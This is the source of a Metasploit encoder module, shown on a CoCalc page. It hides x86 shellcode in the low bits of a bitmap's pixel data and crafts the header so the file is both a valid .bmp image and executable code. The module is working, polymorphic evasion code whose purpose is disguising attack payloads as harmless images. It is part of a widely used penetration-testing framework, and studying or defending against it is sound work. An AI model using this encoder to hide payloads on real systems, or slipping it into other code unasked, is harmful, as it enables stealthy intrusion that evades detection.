CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/bmp_polyglot.rb
Views: 18207
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/poly'
7
=begin
8
[BITS 32]
9
10
global _start
11
12
_start:
13
pushad ; backup all registers
14
15
call get_eip ; get the value of eip
16
get_eip:
17
pop esi ; and put it into esi to use as the source
18
add esi, 0x30 ; advance esi to skip this decoder stub
19
mov edi, esi ; copy it to edi which is where to start writing
20
add esi, 0x1234 ; increase the source to skip any padding
21
mov ecx, 0x1234 ; set the byte counter
22
23
get_byte: ; <---------------------------------------------------------\
24
xor eax, eax ; clear eax which is where our newly decoded byte will go |
25
push ecx ; preserve the byte counter |
26
xor ecx, ecx ; set the counter to 0 |
27
mov cl, 8 ; set the counter to 8 (for bits) |
28
get_bit: ; <------------------------------------------------------\ |
29
shl eax, 1 ; shift eax one to make room for the next bit | |
30
mov bl, byte [esi] ; read a byte from the source register | |
31
inc esi ; advance the source register by a byte | |
32
and bl, 1 ; extract the value of the least-significant bit | |
33
or al, bl ; put the least-significat bit into eax | |
34
dec ecx ; decrement the bit counter | |
35
jne short get_bit ; -------------------------------------------------------/ |
36
; |
37
; get bit loop is done |
38
pop ecx ; restore the byte counter |
39
mov byte [edi], al ; move the newly decoded byte to its final destination |
40
inc edi ; increment the destination pointer |
41
; |
42
dec ecx ; decrement the byte counter |
43
jne get_byte ; ----------------------------------------------------------/
44
45
; get byte loop is done
46
popad ; restore all registers
47
48
=end
49
50
# calculate the smallest increase of a 32-bit little endian integer which is
51
# also a valid x86 jmp opcode of the specified minimum size.
52
class SizeCalculator
53
54
BYTE_NOPS = [
55
0x42, # inc edx
56
0x45, # inc ebp
57
0x4a, # dec edx
58
0x4d, # dec ebp
59
0x90, # xchg eax, eax / nop
60
0xf5, # cmc
61
0xf8, # clc
62
0xf9, # stc
63
0xfc, # cld
64
0xfd # std
65
]
66
67
def initialize(size, minimum_jump)
68
@original_size = size
69
raise if minimum_jump < 0 || minimum_jump > 0xff
70
71
@minimum_jump = minimum_jump
72
end
73
74
def calculate
75
possibles = []
76
size = new_size_long
77
possibles << size unless size.nil?
78
size = new_size_short
79
possibles << size unless size.nil?
80
return if possibles.empty?
81
82
possibles.min
83
end
84
85
def new_size_long
86
size = [ @original_size ].pack('V').unpack('CCCC')
87
88
0.upto(2) do |i|
89
byte_0 = size[i]
90
byte_1 = size[i + 1]
91
byte_2 = size[i + 2].to_i
92
byte_3 = size[i + 3].to_i
93
byte_4 = size[i + 4].to_i
94
min_jmp = (@minimum_jump - 5 - i)
95
96
if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large
97
if byte_0 > 0xfd
98
size = increment_size(size, i)
99
end
100
size[i] = round_up_to_nop(byte_0)
101
next
102
end
103
104
if byte_0 > 0xe9
105
if byte_0 > 0xfd
106
size = increment_size(size, i)
107
end
108
size[i] = round_up_to_nop(byte_0)
109
else
110
size[i] = 0xe9
111
byte_1 = min_jmp if byte_1 < min_jmp
112
size[i + 1] = byte_1
113
return size.pack('CCCC').unpack('V')[0]
114
end
115
end
116
end
117
118
def new_size_short
119
return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max)
120
121
size = [ @original_size ].pack('V').unpack('CCCC')
122
123
0.upto(2) do |i|
124
byte_0 = size[i]
125
byte_1 = size[i + 1]
126
min_jmp = (@minimum_jump - 2 - i)
127
128
if byte_0 > 0xeb
129
if byte_0 > 0xfd
130
size = increment_size(size, i)
131
end
132
size[i] = round_up_to_nop(byte_0)
133
else
134
size[i] = 0xeb
135
if byte_1 > 0x7f
136
byte_1 = min_jmp
137
size = increment_size(size, i + 1)
138
elsif byte_1 < min_jmp
139
byte_1 = min_jmp
140
end
141
size[i + 1] = byte_1
142
return size.pack('CCCC').unpack('V')[0]
143
end
144
end
145
end
146
147
def size_to_jmp(size)
148
jmp = 0
149
packed = [ size, 0 ].pack('VV')
150
151
until [ "\xe9", "\xeb" ].include?(packed[0])
152
packed = packed[1..]
153
jmp += 1
154
end
155
156
if packed[0] == "\xe9"
157
jmp += packed[1..4].unpack('V')[0]
158
jmp += 5
159
elsif packed[0] == "\xeb"
160
jmp += packed[1].unpack('C')[0]
161
jmp += 2
162
end
163
164
jmp
165
end
166
167
private
168
169
def increment_size(size, byte)
170
size = size.pack('CCCC').unpack('V')[0]
171
size += (0x0100 << byte * 8)
172
[ size ].pack('V').unpack('CCCC')
173
end
174
175
def round_up_to_nop(opcode)
176
BYTE_NOPS.find { |nop| opcode <= nop }
177
end
178
end
179
180
class MetasploitModule < Msf::Encoder
181
Rank = ManualRanking
182
183
DESTEGO_STUB_SIZE = 53
184
# bitmap header sizes
185
BM_HEADER_SIZE = 14
186
DIB_HEADER_SIZE = 40
187
188
def initialize
189
super(
190
'Name' => 'BMP Polyglot',
191
'Description' => %q{
192
Encodes a payload in such a way that the resulting binary blob is both
193
valid x86 shellcode and a valid bitmap image file (.bmp). The selected
194
bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header
195
and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file
196
must use either 24 or 32 bits per pixel as the color depth and no
197
compression. This encoder makes absolutely no effort to remove any
198
invalid characters.
199
},
200
'Author' => 'Spencer McIntyre',
201
'Arch' => ARCH_X86,
202
'License' => MSF_LICENSE,
203
'References' => [
204
[ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]
205
]
206
)
207
208
register_options(
209
[
210
OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])
211
]
212
)
213
end
214
215
def can_preserve_registers?
216
true
217
end
218
219
def preserves_stack?
220
true
221
end
222
223
def make_pad(size)
224
(0...size).map { rand(0x100).chr }.join
225
end
226
227
def modified_registers
228
# these two registers are modified by the initial BM header
229
# B 0x42 inc edx
230
# M 0x4d dec ebp
231
[
232
Rex::Arch::X86::EBP, Rex::Arch::X86::EDX
233
]
234
end
235
236
# take the original size and calculate a new one that meets the following
237
# requirements:
238
# - large enough to store all of the image data and the assembly stub
239
# - is also a valid x86 jmp instruction to land on the assembly stub
240
def calc_new_size(orig_size, stub_length)
241
minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header
242
calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)
243
size = calc.calculate.to_i
244
raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size
245
246
jump = calc.size_to_jmp(size)
247
pre_pad = jump - minimum_jump
248
post_pad = size - orig_size - stub_length - pre_pad
249
return { new_size: size, post_pad: post_pad, pre_pad: pre_pad }
250
end
251
252
# calculate the least number of bits that must be modified to place the
253
# shellcode buffer into the image data
254
def calc_required_lsbs(sc_len, data_len)
255
return 1 if sc_len * 8 <= data_len
256
return 2 if sc_len * 4 <= data_len
257
return 4 if sc_len * 2 <= data_len
258
259
raise EncodingError, 'Bad .bmp, not enough image data for stego operation'
260
end
261
262
# asm stub that will extract the payload from the least significant bits of
263
# the binary data which directly follows it
264
def make_destego_stub(shellcode_size, padding, lsbs = 1)
265
raise 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)
266
267
gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle
268
ptr_regs = [ 'edi', 'esi' ].shuffle
269
# declare logical registers
270
dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)
271
src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)
272
ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)
273
byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)
274
bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)
275
276
endb = Rex::Poly::SymbolicBlock::End.new
277
278
get_eip_nop = proc { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }
279
get_eip = proc do |e|
280
[
281
proc { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },
282
proc { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },
283
].sample.call(e)
284
end
285
set_src_addr = proc { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }
286
set_dst_addr = proc { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
287
set_byte_ctr = proc { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }
288
adjust_src_addr = proc { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }
289
initialize = Rex::Poly::LogicalBlock.new('initialize',
290
proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },
291
proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },
292
proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
293
proc { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
294
proc { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) })
295
296
clr_byte_reg = proc { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }
297
clr_ctr = proc { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }
298
backup_byte_ctr = proc { |b| (0x50 + b.regnum_of(ctr_reg)).chr }
299
set_bit_ctr = proc { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }
300
get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',
301
proc { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
302
proc { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
303
proc { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },
304
proc { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) })
305
get_byte_loop.depends_on(initialize)
306
307
shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',
308
proc { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr })
309
read_byte = Rex::Poly::LogicalBlock.new('read_byte',
310
proc { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr })
311
inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',
312
proc { |b| (0x40 + b.regnum_of(src_addr_reg)).chr })
313
inc_src_reg.depends_on(read_byte)
314
get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',
315
proc { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr })
316
get_lsb.depends_on(read_byte)
317
put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',
318
proc { |b| "\x08" + (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr })
319
put_lsb.depends_on(get_lsb, shift_byte_reg)
320
jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')
321
jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)
322
323
jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',
324
proc { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr })
325
jmp_bit_loop.depends_on(jmp_bit_loop_body)
326
327
get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))
328
get_bit_loop.depends_on(get_byte_loop)
329
330
put_byte = proc { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
331
inc_dst_reg = proc { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }
332
restore_byte_ctr = proc { |b| (0x58 + b.regnum_of(ctr_reg)).chr }
333
get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',
334
proc { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },
335
proc { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },
336
proc { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) })
337
get_byte_post.depends_on(get_bit_loop)
338
339
jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',
340
proc { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr })
341
jmp_byte_loop_body.depends_on(get_byte_post)
342
343
finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")
344
finalize.depends_on(jmp_byte_loop_body)
345
346
return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])
347
end
348
349
def stegoify(shellcode, data, lsbs = 1)
350
clr_mask = ((0xff << lsbs) & 0xff)
351
set_mask = clr_mask ^ 0xff
352
iter_count = 8 / lsbs
353
354
shellcode.each_char.with_index do |sc_byte, index|
355
sc_byte = sc_byte.ord
356
0.upto(iter_count - 1) do |bit_pos|
357
data_pos = (index * (8 / lsbs)) + bit_pos
358
shift = 8 - (lsbs * (bit_pos + 1))
359
360
d_byte = data[data_pos].ord
361
d_byte &= clr_mask
362
d_byte |= ((sc_byte & (set_mask << shift)) >> shift)
363
data[data_pos] = d_byte.chr
364
end
365
end
366
367
data
368
end
369
370
def validate_dib_header(dib_header)
371
size, _, _, _, bbp, compression, *_rest = dib_header.unpack('VVVvvVVVVVV')
372
raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE
373
raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32
374
raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0
375
end
376
377
def encode(buf, _badchars = nil, _state = nil, _platform = nil)
378
in_bmp = File.open(datastore['BitmapFile'], 'rb')
379
380
header = in_bmp.read(BM_HEADER_SIZE)
381
dib_header = in_bmp.read(DIB_HEADER_SIZE)
382
image_data = in_bmp.read
383
in_bmp.close
384
385
header, original_size, _, _, original_offset = header.unpack('vVvvV')
386
raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42
387
388
validate_dib_header(dib_header)
389
390
lsbs = calc_required_lsbs(buf.length, image_data.length)
391
392
details = calc_new_size(original_size, DESTEGO_STUB_SIZE)
393
destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)
394
if destego_stub.length != DESTEGO_STUB_SIZE
395
# this is likely a coding error caused by updating the make_destego_stub
396
# method but not the DESTEGO_STUB_SIZE constant
397
raise EncodingError, 'Bad destego stub size'
398
end
399
400
pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])
401
new_offset = original_offset + pre_image_data.length
402
403
bmp_img = ''
404
bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')
405
bmp_img << dib_header
406
bmp_img << pre_image_data
407
bmp_img << stegoify(buf, image_data, lsbs)
408
bmp_img
409
end
410
end
411
412